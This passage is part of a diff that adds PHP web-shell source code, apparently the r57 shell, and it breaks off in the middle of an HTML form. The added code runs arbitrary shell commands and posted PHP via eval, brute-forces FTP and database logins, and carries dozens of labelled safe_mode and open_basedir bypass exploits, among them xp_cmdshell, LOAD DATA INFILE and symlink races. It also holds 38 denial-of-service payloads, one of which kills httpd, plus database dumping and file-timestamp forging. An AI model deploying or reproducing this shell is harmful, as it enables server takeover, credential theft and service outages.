@ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);} + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);} + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } + +if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute"))) + { + if($_POST['cmd']=="ftp_brute"){ + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + }else if($_POST['cmd']=="db_brute"){ + $connection = 1; + } + if(!$connection) { err(3); $_POST['cmd'] = ""; } + else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);} + } + +echo $table_up3; +if (empty($_POST['cmd']) && !$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd']) && $safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode || $open_basedir) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + + if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath'])) + { + foreach ($d as $file) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + }else{$owner['name']=$grgid['name']='';} + echo $inode." "; + echo perms(@fileperms($file)); + @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo @date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + } + + elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath'])) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + }else{$owner['name']=$grgid['name']='';} + echo $inode." "; + echo perms(@fileperms($file)); + @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo @date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + + elseif (@function_exists('opendir') && @function_exists('readdir') && ($d=@opendir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath'])) + { + while (false!==($file=@readdir($d))) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + }else{$owner['name']=$grgid['name']='';} + echo $inode." "; + echo perms(@fileperms($file)); + @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo @date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + @closedir($d); + } + + elseif(@function_exists('glob') && (isset($_POST['glob']) || !isset($_POST['realpath']))) + { + echo "PHP glob() listing directory Safe_mode bypass Exploit\r\n\r\n"; + function eh($errno, $errstr, $errfile, $errline) + { + global $D, $c, $i; + preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o); + if($o){ $D[$c] = $o[2]; $c++;} + } + $error_reporting = @ini_get('error_reporting'); + error_reporting(E_WARNING); + @ini_set("display_errors", 1); + @ini_alter("display_errors", 1); + $root = "/"; + if($dir) $root = $dir; + $c = 0; $D = array(); + @set_error_handler("eh"); + $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + for($i=0; $i < strlen($chars); $i++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}"; + $prevD = $D[count($D)-1]; + @glob($path."*"); + if($D[count($D)-1] != $prevD) + { + for($j=0; $j < strlen($chars); $j++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}"; + $prevD2 = $D[count($D)-1]; + @glob($path."*"); + if($D[count($D)-1] != $prevD2) + { + for($p=0; $p < strlen($chars); $p++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; + $prevD3 = $D[count($D)-1]; + @glob($path."*"); + if($D[count($D)-1] != $prevD3) + { + for($r=0; $r < strlen($chars); $r++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; + @glob($path."*"); + } + } + } + } + } + } + } + $D = array_unique($D); + foreach($D as $item) echo "{$item}\r\n"; + echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n"; + error_reporting($error_reporting); + } + elseif(@function_exists('realpath') && (!isset($_POST['glob']) || isset($_POST['realpath']))) + { + echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n"; + if(!$dir){$dir='/etc/';}; + if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';} + if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';} + + if($realpath=realpath($dir.'/')){echo $realpath."\r\n";} + if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."\r\n";} + foreach($presets_rlph as $preset_rlph){ + if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."\r\n";} + } + for($i=0; $i < strlen($chars_rlph); $i++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=1){continue;}; + for($j=0; $j < strlen($chars_rlph); $j++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=2){continue;}; + for($x=0; $x < strlen($chars_rlph); $x++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=3){continue;}; + for($y=0; $y < strlen($chars_rlph); $y++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=4){continue;}; + for($z=0; $z < strlen($chars_rlph); $z++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=5){continue;}; + for($w=0; $w < strlen($chars_rlph); $w++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";} + } + } + } + } + } + } + echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n"; + } + else echo $lang[$language.'_text29']; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file']); + $cf = @curl_exec($ci); + echo htmlspecialchars($cf); + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); + @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )"); +/* @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");*/ + @mysql_query("LOAD DATA LOCAL INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table"); + $r = @mysql_query("SELECT * FROM temp_r57_table"); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; } + @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo htmlspecialchars($row[0])."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'test5': + $temp=tempnam($dir, "fname"); + if (@file_exists($temp)) @unlink($temp); + $extra = "-C ".$_POST['test5_file']." -X $temp"; + @mb_send_mail(NULL, NULL, NULL, NULL, $extra); + $str = moreread($temp); + echo htmlspecialchars($str); + @unlink($temp); + break; + case 'test6': + $stream = @imap_open('/etc/passwd', "", ""); + $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); + for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n"; + @imap_close($stream); + break; + case 'test7': + $stream = @imap_open($_POST['test7_file'], "", ""); + $str = @imap_body($stream, 1); + echo htmlspecialchars($str); + @imap_close($stream); + break; + case 'test8': + $temp=@tempnam($_POST['test8_file2'], "copytemp"); + $str = readzlib($_POST['test8_file1'],$temp); + echo htmlspecialchars($str); + @unlink($temp); + break; + case 'test9': + @ini_restore("safe_mode"); + @ini_restore("open_basedir"); + $str = moreread($_POST['test9_file']); + echo htmlspecialchars($str); + break; + case 'test10': + @ob_clean(); + $error_reporting = @ini_get('error_reporting'); + error_reporting(E_ALL ^ E_NOTICE); + @ini_set("display_errors", 1); + @ini_alter("display_errors", 1); + $str=@fopen($_POST['test10_file'],"r"); + while(!feof($str)){print htmlspecialchars(fgets($str));} + fclose($str); + error_reporting($error_reporting); + break; + case 'test11': + @ob_clean(); + $temp = 'zip://'.$_POST['test11_file']; + $str = moreread($temp); + echo htmlspecialchars($str); + break; + case 'test12': + @ob_clean(); + $temp = 'compress.bzip2://'.$_POST['test12_file']; + $str = moreread($temp); + echo htmlspecialchars($str); + break; + case 'test13': + @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']); + echo $lang[$language.'_text61']; + break; + case 'test14': + @session_save_path($_POST['test14_file2']."\0;$tempdir"); + @session_start(); + @$_SESSION[php]=$_POST['test14_file1']; + echo $lang[$language.'_text61']; + break; + case 'test15': + @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']); + echo $lang[$language.'_text61']; + break; + case 'test16': + if (@fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61']; + break; + case 'test17_1': + @unlink('symlinkread'); + @symlink('a/a/a/a/a/a/', 'dummy'); + @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread'); + @unlink('dummy'); + while (1) + { + @symlink('.', 'dummy'); + @unlink('dummy'); + } + break; + case 'test17_2': + $str=''; + while (strlen($str) < 3) { +/* $str = moreread('symlinkread');*/ + $str = @file_get_contents('symlinkread'); + if($str){ @ob_clean(); echo htmlspecialchars($str);} + } + break; + case 'test17_3': + $dir = $files = array(); + if(@version_compare(@phpversion(),"5.0.0")>=0){ + while (@count($dir) < 3) { + $dir=@scandir('symlinkread'); + if (@count($dir) > 2) {@ob_clean(); @print_r($dir); } + } + } + else { + while (@count($files) < 3) { + $dh = @opendir('symlinkread'); + while (false !== ($filename = @readdir($dh))) { + $files[] = $filename; + } + if(@count($files) > 2){@ob_clean(); @print_r($files); } + } + } + break; + case 'test18': + @putenv("TMPDIR=".$_POST['test18_file2']); + @ini_set("session.save_path", ""); + @ini_alter("session.save_path", ""); + @session_start(); + @$_SESSION[php]=$_POST['test18_file1']; + echo $lang[$language.'_text61']; + break; + case 'test19': + if(empty($_POST['test19_port'])) { $_POST['test19_port'] = "3306"; } + $m = new mysqli('localhost',$_POST['test19_ml'],$_POST['test19_mp'],$_POST['test19_md'],$_POST['test19_port']); + if(@mysqli_connect_errno()){ echo "[-] ERROR! Can't connect to mysqli server: ".mysqli_connect_error() ;}; + $m->options(MYSQLI_OPT_LOCAL_INFILE, 1); + $m->set_local_infile_handler("r"); + $m->query("DROP TABLE IF EXISTS temp_r57_table"); + $m->query("CREATE TABLE temp_r57_table ( 'file' LONGBLOB NOT NULL )"); + $m->query("LOAD DATA LOCAL INFILE \"".$_POST['test19_file']."\" INTO TABLE temp_r57_table"); + $r = $m->query("SELECT * FROM temp_r57_table"); + while(($r_sql = @mysqli_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; } + $m->query("DROP TABLE IF EXISTS temp_r57_table"); + $m->close(); + break; + } +} + +if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){ + $cmd_rep = ex($_POST['cmd']); + if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; } +}/*elseif($safe_mode){ + $cmd_rep = safe_ex($_POST['cmd']); + if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; } +} +*/ +switch($_POST['cmd']) +{ + case 'dos1': + function a() { a(); } a(); + break; + case 'dos2': + @pack("d4294967297", 2); + break; + case 'dos3': + $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a))); + break; + case 'dos4': + $t = array(1);while (1) {$a[] = &$t;}; + break; + case 'dos5': + @dl("sqlite.so");$db = new SqliteDatabase("foo"); + break; + case 'dos6': + preg_match('/(.(?!b))*/', @str_repeat("a", 10000)); + break; + case 'dos7': + @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538)); + break; + case 'dos8': + @shell_exec("killall -11 httpd"); + break; + case 'dos9': + function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); } cx(); + break; + case 'dos10': + $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0); + break; + case 'dos11': + @array_fill(1,123456789,"Infigo-IS"); + break; + case 'dos12': + @substr_compare("A","A",12345678); + break; + case 'dos13': + @unserialize("a:2147483649:{"); + break; + case 'dos14': + $Data = @str_ireplace("\n", "<br>", $Data); + break; + case 'dos15': + function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);} + $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);} + @htmlentities($str1, ENT_NOQUOTES, "UTF-8"); + break; + case 'dos16': + $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e); + for ($i=0; $i<1000; $i++) $arr[$i]=array(array("")); + unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]); + break; + case 'dos17': + $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"; + $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"; + $x = "AQ "; + unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x); + break; + case 'dos18': + $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600); + if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err)) + echo "Msg not sent because $msg_err\n"; + if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) { + echo "$msg\n"; + } else { echo "Received $msg_error fetching message\n"; break; } + @msg_remove_queue ($msg_id); + break; + case 'dos19': + $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r"); + break; + case 'dos20': + $hashtable = str_repeat("A", 39); + $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08); + $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99); + $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}'; + for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; } + $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;'; + @unserialize($str); + break; + case 'dos21': + imagecreatetruecolor(1234,1073741824); + break; + case 'dos22': + imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120, 120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120); + break; + case 'dos23': + $a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349); iconv_substr($a,0,1,$b); + break; + case 'dos24': + setlocale(LC_COLLATE, str_repeat("A", 34438013)); + break; + case 'dos25': + glob(str_repeat("A", 9638013)); + break; + case 'dos26': + glob("a",-1); + break; + case 'dos27': + fnmatch("*[1]e", str_repeat("A", 9638013)); + break; + case 'dos28': + if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res = imagepsloadfont($buff); echo "boom!!\n";} + break; + case 'dos29': + if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB'); msql_connect(str_repeat('A',49424).'BBBB');} + break; + case 'dos30': + $a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,$c); + break; + case 'dos31': + if (extension_loaded("win32std") ) { win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );} + break; + case 'dos32': + if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );} + break; + case 'dos33': + $buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP = str_repeat("\x43", 100);$get_EBP = str_repeat("\x44", 100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP); + break; + case 'dos34': + if (extension_loaded("bz2")){ $buff = str_repeat("a",1000); com_print_typeinfo($buff);} + break; + case 'dos35': + $a = str_repeat("/", 4199000); iconv(1, $a, 1); + break; + case 'dos36': + $a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a); + break; + case 'dos37': + $a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a); + break; + case 'dos38': + $a = str_repeat("/", 9791999); iconv_strlen(1, $a); + break; +} + +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} + +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + if($_POST['brute_method']=='passwd'){ + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){ + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; } + @ftp_close($connection); + } + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } + +if ($_POST['cmd']=="db_brute") + { + $suc = 0; + if($_POST['brute_method']=='passwd'){ + foreach($users as $user) + { + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $user; + $sql->pass = $user; + if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; } + } + if(isset($_POST['reverse'])) + { + foreach($users as $user) + { + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $user; + $sql->pass = strrev($user); + if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } + } + } + }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){ + foreach($users as $user) + { + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $user; + if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; } + } + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } + +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { morewrite($_POST['dif_name'], "mysql_dump\r\n"); } + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } + else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } + else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } + else { + if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } + else if(@is_writable($_POST['dif_name'])){ foreach($sql->dump as $v){ morewrite($_POST['dif_name'], $v."\r\n");} } + else { echo "[-] ERROR! Can't write in dump file"; } + } + } + +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; + +function div_title($title, $id) +{ + return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>'; +} +function div($id) + { + if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">'; + $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38','id39'); + if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } + +if(!$safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; + +if($safe_mode || $open_basedir){ +echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if($unix && @function_exists('touch')){ +echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($_SERVER["SCRIPT_FILENAME"]))) +.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>" +.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):("")))); +echo sr(15,"<b> or set Day".$arrow."</b>", +' +<select name="day" size="1"> +<option value="01">1</option> +<option value="02">2</option> +<option value="03">3</option> +<option value="04">4</option> +<option value="05">5</option> +<option value="06">6</option> +<option value="07">7</option> +<option value="08">8</option> +<option value="09">9</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +<option value="25">25</option> +<option value="26">26</option> +<option value="27">27</option> +<option value="28">28</option> +<option value="29">29</option> +<option value="30">30</option> +<option value="31">31</option> +</select>' +.ws(4)."<b>Month".$arrow."</b>" +.' +<select name="month" size="1"> +<option value="January">January</option> +<option value="February">February</option> +<option value="March">March</option> +<option value="April">April</option> +<option value="May">May</option> +<option value="June">June</option> +<option value="July">July</option> +<option value="August">August</option> +<option value="September">September</option> +<option value="October">October</option> +<option value="November">November</option> +<option value="December">December</option> +</select>' +.ws(4)."<b>Year".$arrow."</b>" +.' +<select name="year" size="1"> +<option value="1998">1998</option> +<option value="1999">1999</option> +<option value="2000">2000</option> +<option value="2001">2001</option> +<option value="2002">2002</option> +<option value="2003">2003</option> +<option value="2004">2004</option> +<option value="2005">2005</option> +<option value="2006">2006</option> +<option value="2006">2007</option> +<option value="2006">2008</option> +<option value="2006">2009</option> +<option value="2006">2010</option> +</select>' +.ws(4)."<b>Hour".$arrow."</b>" +.' +<select name="chasi" size="1"> +<option value="01">01</option> +<option value="02">02</option> +<option value="03">03</option> +<option value="04">04</option> +<option value="05">05</option> +<option value="06">06</option> +<option value="07">07</option> +<option value="08">08</option> +<option value="09">09</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option 